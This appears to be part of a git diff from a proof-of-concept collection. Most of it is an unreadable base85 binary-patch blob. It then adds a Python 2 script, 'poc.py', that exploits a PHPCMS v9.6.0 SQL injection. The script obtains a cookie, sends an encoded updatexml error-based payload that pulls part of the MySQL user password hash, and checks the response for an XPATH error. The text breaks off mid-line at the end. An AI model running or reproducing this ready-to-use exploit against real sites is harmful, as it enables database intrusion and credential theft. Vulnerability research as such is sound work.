zjO{ur!462MS*}VF0=t|RrS#Euar?ed&Y?|bpU@reu&us+dLKhXgSV`^Ssyo|0M)R? z8*0E^393*aCw$QI-;8x*=`9j-H2}dI6k;tXp%DSoG78 z8(Y&e6KXY(bbb3t8i1$T$QDg_rm0X@(Sv5EAwrhv9(RI@W&SGT*JAo|Pyg+VnqB%Y zGo;udkO_7J`%gY7GTY5~{8cBgq-7gV8y@e%YwuxH)-2rd`LpBSAiVn&%+_>%c!6ax zEqUAR!)kHFLV%wrxYx@8HTCG56Vt0ffbbq1YPe186qgb%vj?h(UaRxDgGKG3beptTr}$xyE^vOLebk+X+^#VeP! zI0#-dF?BmleNx@I56^la=}^qj2_7OG6B+ubyD9M53NU>h!*J*>Vcxme(CfR1y#Tl1 zzW_#??L8-X|EZD0lZ0L0t0fNv@xTW^OeHBEi}U=diH$Xh)6)cNn}g0%CJR4F`0689&5xL^n` zV!;UeCCPSeDu~;y;728<#M76b&VO6Ruf8Ntd^e2t&oOl&m%sMJ?s$0|JLg9S<=$~6 z@6uWA9P8~H29A{$5U@>;>U^7aoGDEbY+m?D*`5c|-Q76mwQ|+06}=JWF3Q_An$3+D8faR;+Q&H@8oCgU=Xk?;^!XtlOOWyxj>a zMvZPCKk1B)x+(8bbt-EhQWUI`lz8Lg2QT%(vzCQSF;QQS`7Y!LnW7FQjZOD*n~W=G z<`2SW;bSF=ll=X}rO!`R91d$Old3QoN|`J8u&Mqz<0!AyK3|PhTlb3Y#4#y#)4+rQ zmZ7cIqKYe+&cb0G&*Bm3!CIL~57(?0Thky|OcK5#xi^vxEihgCGH3GZpAf9)`Q+gN zfvYi#(sFNRd-pbWE^f+?rTfD;bu05%`c5F&R=oY?1bQ@nMZsIqWSR&jiaVNKH+9 zsVxsd77lhjYpJ3+#v^K03y-9$MO^LeTHJIeHn+f99kj3QE!RsG0P|~_g`80&#_l4U zJ9|64a8M(R8=K7fDIobW*m zbWJi9MiE?KJVi5kt}_+O-$-jsL-=b`gNr)D^-m)g)VxWV6*agohqk*XZuZ>|Rh4KM zHJgqu&HW}79~B*66PXpvZZ52=*V%=iWYhq#pLEnzOgR*Dup3+3z3#PTMSJl@z-@yS zbvJCpaPI0@-0sE0P#Ff~QMNoLOq==s zGX{*#*s$Jm&Z^%inZ_t8FHO<3Hy5;Dy5FmP)mb&zT6O9jg*)80FYig?hl`5~B@+1= zArbj8{$n+IQhLb?7(vklfORqID+#vX%U=f3G)Yp)y1a-=f=w;M4j&lX%a^8*l*`34~3yXiZ9@vH?q{s<` zJB&aocZUrV2c{G{h;K#Y_b21#T>JCMNhqVn%R!Sa+#sm;AiTVM4+}zYv>QyCDO_A@wllkRWt>KS05e5~bvhZ!ej~IsR``J8(6Z&cS-A zsRb9WGq%eRdD%RD!}KSo1LJVIS^HK9LkU`Bu{r7{axaz}DH)j+7fOC#>mp*Tmcdyz z?Si2}J3+3dzgm3Ow?F&L6?eKIJA2O{+u<+WTV_$*;rDFu9ANZ(E=Kn8*z~}THn7>U z=_i}o&QmK@7vVKGj08YR@a#ap^ub=M5YpGqqIN}*m=#NFa;{*-8!?xGQB|8c%%KK@3I*?HJi>mO#)+f)y*tM&DCc|XofvBU@;Wz71fXY-1X$T|G- z^G@leb^JS}lUvXa=L` z0EZ0z}l8u%vZd-4B^yrHbq z+?py=fXaBfxVfPzW(fzrIk5s>VOjsqDI~*!i}(f(a300~r6EM^kXKFo{Q>8^`1FDDku?mZvXvL8K7>gXxsX08MP%x4(A^+~py9S{?2?VOpTol$mIhTLOfgx+^zW5V%O6C~XU_6AP_amF9 zzivF>^977n)Ue-0By6Hckk6H^s;x=Xe+=&?F}Qcu#P(fA@b8zDu8|FbD(@{4eGPI$ zeho}m_c=D(hEWDt)w!jUtdrO+-q!asdJfow`@)CsQZLJM(6ZnBuyPNh8KC(13=s~GUuE!R<3 zPqzn{>+`aSqPTf_Q1`E_G&?Fu9}NPlZa=9O;$UtZhLJJz zQVLcJYO1GM$eDLyF*YWLg`kR^jpyvvreUhIU$`La#kP|I0o9X$i%=y?!% zsLUZCyzR>~?H=lfuJH4-58K)Iw!eEZD)VoT%1ow1n(0r_ixg!TY58)pk#HCcW_#>t zR{X$D5{;`5n&?cJifQVC$r?Ir7a09~aJih1n)V8U>odN$)g!M1d{tPwdtIQ^MaFZ9 zU+2wb2vXNk8&42|LV0wCN_|~BZ`!_48H9$SSwrc4De7;5DjK4UZ0qzo!c1BB^=&kF z0d>cS_3e6qwy4Y3!1KIkC#|zlJ9g2^bbHw^9sXB&IE9NgH!Z|SQbr-dM3aj~Wgp|Y zv-(kzeh7CgPJgs5dv|XK7U8gPn;lfIk)pB<&;R7e{bc45#HI0vwQ&!BurwHMLau7= zOV4MK}IQHsynnS+xQpFjFI%(U5#nd2`1$VUcW8G@VQ? z&g}Ic!1rc@n&QhdPK5qCOn($YY@kfqJHl30NgkN@Jh&swT<{#^R!MjFZ1Hixo(~;M z1$zAPQ(c&TerI5V0dU=f@hLMWUSFyirB8BO>#i*7q;TralTuMLDm;+X01RZ3&UC3NTy)Z%)hw_oi?5l zZ|1NViyfF(k}~2KhcJxuKPI1Ck0O?U3t(dAZ*y|Xv`6PSPQ7>($fAdv54l;3?U~$UXT<@0Z+i!17mR5>yvUNxi!uZiC z;NxUzgth%+YQ!f@>^4nGKK|pLk)7<8TR2M0CN2iJ>(Pn*CiRc>(I=Ze-?ZV#fUNAq zfW(xBJ;%Vn(Vb}?HmhEmNKs*%E<#M!`|?Ek;T*HypR^85znW^Q8#x*z5DAhodbfet zm&hYWE_;!VSZ3E%2SG7MN9WYh)2-u-+;^KjL-cXewE|P;&ZrpW?M6hNG(s5_EIb?h(@Zg|AY|<_qxx?KdAXQg>rFX`Wvl94^X_e3KKotxRCQxorOih%9cYWv zPK`A0)*Sp*l*;iTB5Qs^0kd@q!D}Vq$==olA9;}<@Ah?xM^80d_KaH5q$Y9Z*gg6x z27eH7#X7~+M^kLqEfcGGbj?r4;sjv}SH}D_);|x(<0Z<@- zO$dX0#3azAz=TK2$tsPKGra6SgYN$Vm2x6i=E&*#q^uF^X{?{BfgAxkR?=t?kFTtu zut>{Pm214QToAcMo*JRiC7mPuCKUOl*F~-UDK&mfW#ry{nSK$ni4LF{QYO|zP7kTx znZXicB7@aj#V~o2rZ#9=`I9<<$b6)#B?>~Gd)9!5u^gN=56S8^g%}9Jw~X}?2i%C* z#oAOhaM^zOIKO!&u_VX~x$Kc9c2TV2-=I~wm&DEmF3_N1O9@sGpXZDNoAF3Pl!aye z-p1{yQ^Lld+v4A2%-Rd6D~m_wDBAAe$GW|K6ORq&utjx_>81ja6{5_;i-hVgBj>$A zcFKiv-~Q4|hT${`H|9OSm^LJ$2?lx zwXD;i*aw2J?f*q(|hY& zCxxV1f!!RY&)ui{+p&2q&0tlvg#yfJOa#zauz;s6j@`2uqn^yU$4^AB)$$KHx#LX?wIV{^9Z+dDf_u{9`A6cKno7jO> z5lA`dIq&W+@jGp5O{^}`K&iwcX+CB(g)3Fl&zpYW?8}DI(!M;JE$znVAw(uXut5hw zz^MYLL?>sa1Kla|1R(b&a1EaisfIn(OYu}GUzldH;!`45RWfqhjpR{!~ zLgUiMkGP=BS%}hla<@GiS7hJBBWhTOiz+bHns;3@%OC-tiJBf;E7qJY?2_U!TZV@# zuVmGIxpo*TlcHbGj=YuAF(!{Qedt|Qo~i799L00*diC$!1#It~8Yvg*^8TR9w$#_W z68meXg`|W7P2B+*PbP{8k#)G__Iqa)oO7cjZ_Z%9_zagOWce&mF0%g08*=%E<(T(8FW5cW8$H7;~aht7KN#CO~{gi;>qet^RZ2L@@UV8AA^^b zwmBUxM^hkGI9waastY-G%CHqJ&DZt{5ZFCtw_ly3_+}k=uGHLwDSK+of>2c_w*~S6 z_6l4uwbJ5GYf|01XtX*U?413&BX2;d1caK*xjgUQ!sD)Q&#VO-U zP@H*Qg}5v8G)hp@#}ZvfBuC*9oB{3chJ$zLKd+?ix&+gfWlU-=0-4f34>lV|6F98> zVhr5D7$UkEF9BDB7IRccB4?6rd^!!bg~-%8K7zd7USY6r8OBy^fpWsHTx?+(;#==^b_BH)EN>$& zb&U-@eeFT0B`49>KvD|Qj$Xky`$0kih$4y9RzAN%tXO%kgw#mUNFYIE1I~MTltD7J z=0FrUutGsmeXkEO%l45B`q5ugxWz}zHZTtgx)0gp zMw$Ht=E0iI8-M|dO{bb!t@mic1vcJSkOgH(R9S=B(eUm`5+)oslLf&uqKYQMpyl6q zM|*kSlt|~DUi6v2CS;Y@03ilDq;b<25h_tQ*{sp5$U!Z^EHR$f1RW`~dDMd$ql3V!>vM+|tFlN`mH3S5$eHaeo9O-`!A2M&~f+0^|XE= z-tO?~iW#QE+>8JEI^KHTb8RxQ1#@`T>3Q=+*lNFD_s8+NK)A??irUlwcoFKo(G36L zDUyzV2B6?jblJS_+Yqt+dS;*(?~H=qn5uf5XYwDKBYgjpJdcy;TRci5Ud23dr8Qi* z%)9|7>#2eLIj4el0B9u|MbscDcrNZv-ftE=Z~A*o6c-ImF4`m!Xe~s2(*3}SPB>1svq zyQ~g3{7>jsvcyRgkIdSSDZw=hle*{j@@m`C0{EF~)vir^Bn7rSnLkM1a>uW-1t&V7 zf_fIqPlc{%-_oeW?(0Ux+&K3dnQ5bT>0d{f59f6`9IpokxEXE8Ze4O-wBnMSV=qp5U4 zr>F^ev;E*DMX!3-*H(H4lY5xXLA95ILEn&Gqa=xIM}9} z5)F><=HJh6VI~Rx^v*;nvy0Qhi15&9Fy}3y@Zy+>NMrVKi;t-mD(R#LX+j6DJTtH| z?;3RFZa2)p@4S1v(;~D;z!yyARg4Kds#RDd3u&kWO}n6ui~Rsn=}Wd{R##YlW~2Z7 zNzVbc=gD2SF;6WEd_dAgO+m#|IhvWnK!O9L+4Cy`&b6hYowVE4(*lO?sT*(gxRkj-iosf@*gNf3bW9byf`Z9^ZVx}S^nJ- zCa7$jp|Y}jKx?D%C~5;u1g z#G(6f``CW#l(_7A8u|yI4jz)a`U=I3c-ANOWMjWZtYH9KrjF+_{dH_xGDH;iNsBxb zab>Qd<19^_KPkHU8u@g7|O`XNAHh_ilGMFH3$>_6TfQbvF`t zF6%-$5iVFLJCUA`UVIr%RIMCNkZZ`F;$UNgGvJ2b2Pf9YEc%7Kv>slQgoG)$vhUK4XPn zGn>wHH+{+`ryc+DV;$|=>@@B3k>)qtCIEc&1ggY-hsT#xSAS~qd}?^yJV&+OyV?rj z65AHWK-%~*FwqR<4xPZIe&d$-`gQD*e>PYl2lQPt`U*6TXUu&gZGM<-inUfT zkR$uUBb9FUSxi~?xM~h#FK(Ny_9|hSgJ5<;P9sU;VOHlflFMwHQ=$n{bX_9k$0;oF zxHjLQX1t)DHLVFq)eCF)K<#($ZRzU}$LFvjxfYB)Ig-JU7i_5^O;yzBEU+?;V<7=| zJ=pWNxQfB`@V(@}ZgSrx8>AuRwZF}qU8Ydvm>&* zq3tPHe`tPl8en-mAYwz*Ft7}VcCCwjc3bytK)uYfsAw>0!@SRF#7rNQ4K|zG!Y@MX zK<~lH8a3Us&aLg@O5l&m@rO1uO}fFc`d8NUwbOj85;j!}D%(>k2y|GNPGnMP56H}l zUXJpg?tzn_3>cE>va^1O>@jl3W0Tf80otX~vzCAgU%esQVlbg#&a!ee`ei&sJ5)Tm zc|sM>M3Q5W*viBrz_cvz$SkG6H!jP|D_s4d?o=FBZ#9^RWW%xHWl^(xs1q5dRIzd7 z#^O)^=x>EBx@bH(*WlDkhmV((cb?q86$>znw18J8#lnLbx+*t3D3S~7_@JJt>u(Fc z$@dwg-RTp=wl8BhwK)m}Q<339i!gnGr8HFp04!|zx|qHqdbquT&wN+y&$th^Z+jjO zUE|44Nq^}L&6x4iQ;-KJS%>X=ht|6A!eKVVp2}*>JVxftU3Q zH7f^06}eoo9kY!c7kD(oGv7SGz24B(bDY>JaYu0nU|)FlX&Bo>(UQDjBW?M-Yp$J! zDf6PfO|i=bue6&}d%I#44damDf8m4N{AbLJ^%aP3kxn2TaEKnChkfvgDoQJMRQ8G{ z!S}lIH}M8rKeJ$se_w@$o?F570I5w^Qs?vDvnA1XT-I~`w!rgSO~DlJ;5cQqjStVx zz8o~(s(tbZYxAM@`q)l(dXJG#)H_;z7dZ;ABR`?KUEuO!~K#iL3!$?KAg2%T*UdlHV}l`J^btUCQVo-rk!Zj>QLSL$U(|er zw2893z}^-X1;HUCd6V;-eW>3jd~>=kF?!HJMRz5?;!9}%)Ru#HEGh6(4O zJ~SwL<+;Q0g1XhyWoIJ~KCWU~$e+42tDAaUk<+ul4YE^O_ z061E(gbIlcC_+%dPp_!$_11oI{QJW^LzMRRui8uV!zUrlu>=5VQDL9AnZIg~ zM^A0d9t#GkVm2*@aPf?}X)N92IPLXFPwnLCZ*4LsTmIz%F~9ZiYS+Jy8#_Qj?kha~ z*Nc74tZ_Puz|P}CTVeeb*Lg*$)3a@V$z%w&czPR$9cHXaf>AmFYg}$Yo+ZN`{h$|F z_6)-dQT*2(8Z5o*>z+F{B_odMBo_yLvy(E54tQKYkyT)wy_USJ=8+Qfn zP4BL)q_jzRvPTxAcnxnZc={uh=IMM?v(ja;?V|e?&1AW9SO!>@S_L;8F{)2?3mxhX z{gDb62!gXaJO@T>nFTHIV*OQ<+HNq?wcq>JI3~Za54V+x#3S`fI7)=HG?5k9P0oH- zyP~<(j;sL%wJGAuc5})N2*}yXhZ&GNT1?RUzXfgo(p={LTy0Z8d*mTyLPpHxtrn}~77#J6EtCds63`0h=k=w0KOJxXw|yTg*L3y! zEf~PSuS^`S9Q%IPzFU%c#l}y*+h!v#el@mpwX%b86emz+UCi-bk%~dBsEXe0QabJ) zpQ6YrJvnIo&b%7RV=Wm#dp*r9#3A@%c0ewIwhF*w8^6mb2#1FKuNFWyD=+Vas7?CL z(#m)QL(B#P5>{#R3GtjodF4nm_>3klo;~(!yMnw?nZ?Oe_fGusJpBTwd|}WwfYu*0 zI(01IXgv$H{PplL-?^yS?IT9-`H{5eGM#KM;#&ZC$>Ag^ivk0FLVJ&{rS-}f`VkW3 zc`!|KQeE}XK73s}4gka|V&k8acK1;N-=@d{t0hC7^4+j6trNj`*mvwhxm9I6MH2Xm zj}4EgCEO*L!3I!^I=ezE{|r*OSTqeiP}45RV0*6SGD7+}6z>P=L>@SxxoJY2+OF{J zpA715+(HvbDve;6q~{PelaYg?PZ?~JS}nwD+@@Xx>bVy}k*;O%)4~)9juoNy@q7#; zU7xX+mxmGoh)l<2LH1HFL|y9|I#wfMut7GvP?Z^;hL!;e?B(rkSbcqkJXldHlfFhU zN7;3}qjq@n!wBVC@t*o+sY4!GgLBbyaucDh=dZsGnmGh)y2D&rb;U7NzH*r}udGdrz84nKl}HXBJSg#zcu4=PP+M zqntkNDkK$t46SXl2iBMyc2~VGbk7Xfig`*P1K091TDC~`^Z`u#kHhDw^WjUgLSrBD z~=ZoF5oZghfr&YA&cIWvA$AJG`^%*pk-k?Hw!UiG!3m<2vLw7emO z*FhJb0!o($tiw)|e3eIM3hbP4?&nH_=!C~pp+;?9UQ7RUR{qf| zL6($*!#S#r`=Pz|oWy9paM3l$5s&acn$0n4MAOOy?zjsYmNn%@p9mNGmI46ijEd#CBEgN}6f)iMQ04 z`wJ`dM}Xa(+IOaQ3k9HGyh`{Ztn5N`Ec92J40tmTS5zEHSS8s|ETemkvrI~#0tgXm z@nuat!t7xpQuhgILaFTRdGi~K6P<+}bli3=$tE=e-}Q+qe>z@3~2PuLU6=6D#JbdE~;w3!I-M~E#&SKrHeAi6BZFhPC7ksphe~=qo1IVpqlUP zD%-fKz2<}8_scrWj&fa+8W>8GoU8^6HF}s#!gMMZ^+0OB&cFtSB50CwVoczaL6}-B zNyRv2@ZH2%lhiQ!E_}%A>{W8g<^=EFwcr!TfYCC&_TV6Dy}C?fJV%)oj^xSn{7!L% z-a=<4N@yYV#PfgMy2 zBe(=Aw)oy`7Ow*;n_g^z3A{avhX3rmTcX9SiC#D^6q2}2fuo}?W&oZL<-T1Jp)K$9 ze4%uGmS)D_FdjrbbSa`_z&e>GlSmC607F3mD`G7^MP+C1MF%Mw*s7!FF7jn=Z)!`^ zExVAv-{RwOokMT{_ldOPLb)wLOIsUX!>a9gRWd!#&wIA`Nat@doD)Qc$Y7PDLK>2w7rG>)fT>#3a4Gyw2i^%|+U*a6k%#WNsM}XWb|PUS8B8nOlu))e zPtb+#2dhUgmMR>Lafr?U>`ge`X&2v)QiKGc#c!?M)n6)lf8lK72`Zv#ys^`@S7hbV zG{cAV_1^E&pAsI#<7QO8b?$;nQggcCFCBfei{d{S)})3p#Gfx~pqBCQ(q-F!m4UrK zT=HjM5^CA&&@9NQBbuqBW7RMlpo2z`E`RL^4=W?i;ohuOS2tF~-rJJ*)8bA|>38LW zK8?T?4Ts>W%~DWY@}WqIeezrPx^+dtT%Ecm;z_?92d#I&WZdiDX2R<82L@h+ncQCs z4bivpI2X%;E1ZlI3xrJ7aYr$`)lB@yu?X1DbuGCEA}scat~hA60>9 zVe(Iha$Uv~MuwjEJBMuVaB2(+ystTVbr`tx$k5P5pcHNoj=Kp|F?0nx%`DJYxO{Fh zOYaX;s!?dd{&;gK@d68J|9(tMEIrz;qQOU>e79-u)84Rot$Ve+ZIsKOaC*u>0kUL`nMORr*!?T2H+#&?S>Oe+qjbq!( z6~$QAsJPTe0_IeP_e?8oQc%y1-p*BbbHy|M7W=~T`7LY-BAEqEfs8%Q(A2;5abfViPyg##IcI>V zi+{Xf8Pc_5&th*ln8kh!9?Y>*HkIJON|jfSVesfrRmUS8U^f~bRu}*obOvFqTy_bF zyqCdRmIi*Akhm(d^a!Xi=uZoQCuBx?g$qS1O;k8>1qX}@tr-uGQOI7GbeZ(RdTLtD zHYI@laLWyq_^V3W4*z!>lyNVewu84&I}EwZFmm~bsSuVDN`@6hGUn7@yUb4G3*1?) zV+l2E&K4;3_6U0%hr#_ANjU)c>`gv#0U%YwlJK(NDYj|##~}D(<4uN5Dz`)|j15?s zrJp(};4jZGn-H!*(q8X0C%5j=zGa%rA99s>D9F5FVama$v3^0TSJzvuA7)yQ9igRr ziOZkqa+pWN;>>m8uJp4M|B%sW-1@5Ry%_6()`chzUFv-N|+5p&o^iZVqt%6WBSb2S&Kvf zL(PZI^%{FSIj&1hchDItaU@d1Qs|P|4v)^3SH(^_j{lBnJMG)}S@&#RL_^Yi`=0Q|3w1pqfXA4IC*19mdnB6ubb!)$fs^2*rZo zV8BiaUPV^wM?#1EFGSIGta;Vcx6wOgEicd9s+_j3C1YZ8qP%DQn;Lk0CJ`h@b}2JV zr{w9EM7HHhq~%IzCyo51LGXLIuUmSaOr5=a2&*KPtE1tLI>>2mp{o&LZWlOfn~Xth z!0#-SqRSHY9)h%o(s&NlV(o9Ruf7{tOzNK~x#E7cGSJ3*$sx$Ydv;RBe4yLh-R@5K z^8s*#q>V?1o-d5Ld>}Z!vKqiCPRb?hfI`L$q!zLDG?bLs@nUfhfT}I48^nu3*-k7L z1=bl>#AqA^rN$dMHWG6!g|w68Mu8Qz!rAt1y}X$yQ}?oc|C}PrLIhP)VGJs90b;ou z%Kw>wMc^;KP}8hZZ%(QTcMzwhSQ|3&wl*fS#B-^ub#QArf9E9`!NdS@$DuaN>5*1%~-0@l`%2n^1wk*1c7DWQW!552MkyT6HYKHVb(3Z*f3qGW z`+ohgEZ`@3?4$4b<|Eb}^C&0`!&o}kDw#u%fPm^|2F`@O>2WXgao!Jegm!wz#(Ey% z2@n~^jf|t*ez*GQemo_9KXq&>eqnljDSkpEj{M=n2k!gTyLwR*PT}3U^=fHa1yJF1 z?92ev!x^Ex<52W-pxtl}5}1&Il3OTOvXm3tBe_Q};K@2K2Mu2~dlL|J`|a+2x`MtJ z$K+}|Q-4_gN9)mrE_RH(d0WVybq=F={_~}1Qg9iym4X_po>}Wggl3I}%)fL4OAMJW z&hoe(!y7<_C}S2`fs@Q*>Fy5HhAZl;?06@@fsI2d*B^393M0%JLb^^7C;8 zW0Q7LvN6W%mxX>LqgLNYhC(;F{}!B9b%Wt2aA*|!9M*pNYs3!WMMUug!fR~Y^emA%Y6(=iZe;T2)e-U6$ZJ4hgB<^ve0S(0Aonum3o5X2td_g;-KUbtf!n>&Q*Vm^yRXm&c<$y1YOkx_&AlYB>wGVE-KbMS96;cgrl zBmq2S)xSGJ1jhK&Xa8D>khG~RIdd>(0z%NE&CVwIQ+^%IJ+8;31!N^eMf0}}S}E;@ z-ZL_5wKCk;G1q}h?I%+h2=YxQ9PYIK3*4k5Ejl>*^4Pl}J|ND#?4&;HQ~~AiP@yUD zo-OepK0)-ZUuCvd&Fe{tN#1v_Q4gW56`+12XEt3Ou>OE0-}V07_hwbktFMlQsil(g z3Pxmm(Q$jp9kAPuW3kz8Ww@YmEAkpNGfH;JP1=Oe}S# z+omeMF}#kG=FgCsmVdDCHjKSdomLX>1aDCDynY^-Onzfp%@&YAV886zY=r#X8e50ompdqhTi+4SI%ZjmLNY z2vo|l?_@F7&+XLhqvOT`E~v{`VyaemaGaX`KIKFc7VE5r8iHx_%6r;uZnt*nuHPg* zg=h~>rQW1eWEAnThg-Xlx#2{ND8g;^Sk0+&%|IjqclJVHm?1CK$oZBD+XMlPWxIo! z{B&%dwHBc!PH2sbc4t(FKNqX43ZJ+ec44ri6|%zK1;eNIJmfR&)s|sK95BxmNqD22 zv0civ8Lt)1o5Fc)BE^Gr6|Dv7@I;x6Chm~tId9=8Ns2)v5>zVs9Uh7JQ-+KfAL4wi z;-z?lD`U^X`C$jkT}E>upmX`DojEgOB;0>+cUD<#A+{nh2-1P-I{A94;M4a5hW$-a z_Bq#CrjTbR%Lg1ZZO$gB7GmY84}toXSN>N#4*_wT_{?z7cp}AD16o){y{I*i+fUO1pt%=oAO42dbNQNq^zjN+qH^7|A|LI)7@d;6S0?6OvxriN~NV z^2JP3SB~}_szbRX)oXAkT&?kS6@RLL^23PP;21Fbm?}xtL^<{|R`^B^q&g|iVS=y+ z%cB@A;{Ek;)F4E8cFTPxPD3I^PI8e$)9U(%l5>ML`PL8;;0a!Jzmu_OzgC4^9mr~N zkUdCWQ9E1zOBSBY|^ByE}@3(d)&@`HgIDo4uSyEPH zwsuxz65CL8a5YF3aLU6=MwxaGCOtBqipf0~UdWDVUEEfG^7$>Jqp;ax^zqgKfKlx% zj?ulYX)_vm_#JB@@4z&4iiQQlvZdkeHWo7JjpwW|6?1Dd4`JZCU2tz8 z{ADLS=IiubS|Cn(THRVJIV!EQn_*u%TZaUMp?KFXFrLPg@TQ3E#GcTePAw&W=60v} z?PaV3SFDa2hOp|Rn@)F~h7=4E{m|i0&HPMnemw%ObWJC%VJ~$|EI)x2FBApVSo%Y? zvA>Q^(|cfSz)kylUiRkf+Tvoru#kO|fzNAcq;JLS2wbTSmU9gI#83s17wZe{v9w7s z=;?Li96>Al&KdvRj4Za&l6oj9SG4kLY42Rq!Phy;>URx$d1-cWCI%@XoUNmt64_xyewef7GT8(e1Kk;hfb;W2>uvsE;Qxs#8 z0$l54GF}XkDzD{AQ%ku^7U(U^`4TqNX73MIr{8mYa1y}WBV{%E+7&q2F(#BIIS1de zF_ENg^+Uug>go)hi+}N@BW~d`-`NpHag;hQ#!t^FRXzz(ncoWbvx`KTv`?0eiT!QI z{1}~ZsE=zC9xW0FJ*<1BSw6}Cjh~cFn^|72J49F;h2Bi%L*TME+<^~VmGFur{TXCm zkWCwH2+Jh0N`1YGXZP#C4i8S*jafs68~YPw-a_x=0W}(^LXwGi+VHW+NS4_1BX{(p z>Yi+pB4dfJF=Zz}H_22h;qRW-^Aea?RXGZ%VGlKdPcu*MmjW7c<&17wSdA_fMJ`-! zz2uo~s2W=!#(QQ1bIb%ektfpNh2F}j#d`@}`S`EZz$_K99jt9K!aRH(H=ed!rD!6? zQjqvA8%f=r-hekKeHayj7w7Bxg-Z>p1(5W87b)`NHcJ2 zPgJ7n(vOAJqx2(kQrUC5^m3v_(KC1eEAYcXCO4*eg|WCA5^0=Md%`owv~6+N&fA{k z1Che+&GgMh4B?^tc)=udOp?cN*VaQDz-#{`YM6_bg0?Qid(iR6Mf;bc8bPSBS9IVZ zvGD=r)Ph0b{=$Saj%6*{v&j_CC1L1n$%{x*<)y-kV}M|4kXmw9Z-3JFFG=0FZSg&` z?-{r4m7G2Z`s}!Se-7CGByrj_uA3#kGs3KYK}O~oNw`Zhp&z7= zZ%JLzk{U;tNZ#;!9t|M-TB`s6v;dFRv*~~GoaJ-EuB$TjnY?JI#Kz5hwZ}134}v+a zv>`3X{%!_Y5O>ryH}z~S?Gfqy95f1 zKg^O4YrL%s+F{zSWCZ>czqIX_!57WrnwKQhB9v+`e&0Jtpo8^`S@lS|x!v z7GS{w;8$=iehl10%Y+R>Ch=!nE-yP-X+ru5D|HNj>c<65UVSaD&g}%~IB(=EgjlqT zgjwk&EPU9Zb_zf#!ZLL3M)j;97Q-@fK*RTy@JlYvB?Fcag3?dv9dc!92|h$)1ql`E zrxnktn!?WMXls_G#x?$tB7g%g^3YpUYBq6WZJzS9DH`J9Hi1tnH!^tMqo?&LY}e~ZcE9pB85{z2 zvP>_4xTIpnI74Wi`xvszcnc52k2T0A;B~fQE`>wV3Xp8jO^&H=``{H5>}CQkEPRTH zkax8>*M^3Ot@lGcij%86b}Vmkp?h@|d}-kEurDa`IXXkZEZN* z;BK$0yz3t-*Uwj>pP#{CMZx}cIFD<14@hDs;VQYLfS{Q?DTLI&*`etaCi9XXNJO6B z0wjx)O#329F~nTn5c@=IlhT zc~M3L;~8q?zRsNOc!2Th9e1?}%-2cq0IHf=%b=~xRvB>>*S}4_k`Vv7?J%L&0I4O; zieor?_d4O=n!3!rHP$Yj+oE4w`L>K> zT7c+g+?dFfwZCxj28kXuhR6$wOk_}&o;%BSXnt{KxOdHs-uOm(vM8#nIXE8qU#50?h^=K9Nk!9vSFpb{JZl}=5_GblxyC?B_P&Yu>ZMNg>L zpmjJ9|5Tznv z@4XitUA#?bBm{uJu=))}dc>@&f899Q#9!p>6t@nB9TOh{XgX#UFLs8pQ*B3ueF71> z<|A{ zjx6aYDk*hNOc1o(8?9X62FlOIJYL0kwNjG&odjj%z<}Jn82PQfNOR?EUw@PuL;#!{f!F1*01|c88+?Uqpjr-ZMU^ zP5_5YIcTEo7YFL?>!Pm{mdEOfk)HjFQQJ%fX+NZrM=$+YO=Bf(Ay_Q-4wP z?5B``z_U7I#57))mX>Ocnp#@EZ*6JO*@3- z8JA+GK)AAR;!1rRiB1BM3N>@7tN8|8PXqZ{Ls3cV<8B9=;DAa}T!OS(@VC5C5MHH$ zZC~xtWr@wTT{Sg?H(9x}j`jMp(x+RX$q?61k-P%4CVbdtL{oz<78aIJek?g`ZhAVt zsikFFMHKL}koRCwE`JD!88{X=>CIlsmXPWoQKo+EQ|GUA^D9YA&?1jrNY?_D)j;53 zio|?&N3+hd|48@!3g;?Uegw4%2a*`YO6>bI2Rlq|bPdB$#1%%8lTnr~lQa(af3AvBGXMYp literal 0 HcmV?d00001 diff --git "a/PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/poc.py" "b/PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/poc.py" new file mode 100644 index 0000000..dcc197f --- /dev/null +++ "b/PHPCMS/PHPCMS_v9.6.0_SQL\346\263\250\345\205\245/poc.py" @@ -0,0 +1,59 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +''' +name: phpcms v9.6.0 SQL注入 +referer: https://zhuanlan.zhihu.com/p/26263513 +author: Lucifer +description: 过滤函数不严谨造成的过滤绕过。 +''' +import sys +import requests +import warnings +from termcolor import cprint + +class phpcms_v96_sqli_BaseVerify: + def __init__(self, url): + self.url = url + + def run(self): + headers = { + "Content-Type":"application/x-www-form-urlencoded", + "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" + } + url_prefix = self.url + "/index.php?m=wap&c=index&a=init&siteid=1" + tmp_cookie = {} + try: + req = requests.get(url_prefix, headers=headers, timeout=10, verify=False) + for cookie in req.cookies: + tmp_cookie = cookie.value + # print '第一次请求得到的TMP COOKIE: {}'.format(tmp_cookie) + except: + pass + post_data = { + "userid_flash":tmp_cookie + } + url_suffix = self.url + "/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id="\ + "%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20SUBSTRING%28password,30%29%20from%20mysql.user%20limit%200,1%29%29%2C0x7e%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26" + # %25*27+and+updatexml(1%2cconcat(1%2c(%40%40version))%2c1)%23%26m%3d1%26f%3dhaha%26modelid%3d2%26catid%3d7%26 + # url_suffix = self.url + "/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28version%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26" + try: + req2 = requests.post(url_suffix, data=post_data, headers=headers, timeout=10, verify=False) + for cookie in req2.cookies: + tmp_cookie = cookie.value + # print '第二次请求得到的TMP COOKIE: {}'.format(tmp_cookie) + except: + pass + + vulnurl = self.url + "/index.php?m=content&c=down&a_k="+str(tmp_cookie) + try: + req3 = requests.get(vulnurl, headers=headers, timeout=10, verify=False) + print 'HTTP RESPONSE:{}'.format(req3.content) + if r"XPATH syntax error" in req3.text: + cprint("[+]存在phpcms v9.6.0 SQL注入漏洞...(高危)\tpayload: "+vulnurl, "red") + except: + print("[-] "+__file__+"====>连接超时", "cyan") + +if __name__ == "__main__": + warnings.filterwarnings("ignore") + testVuln = 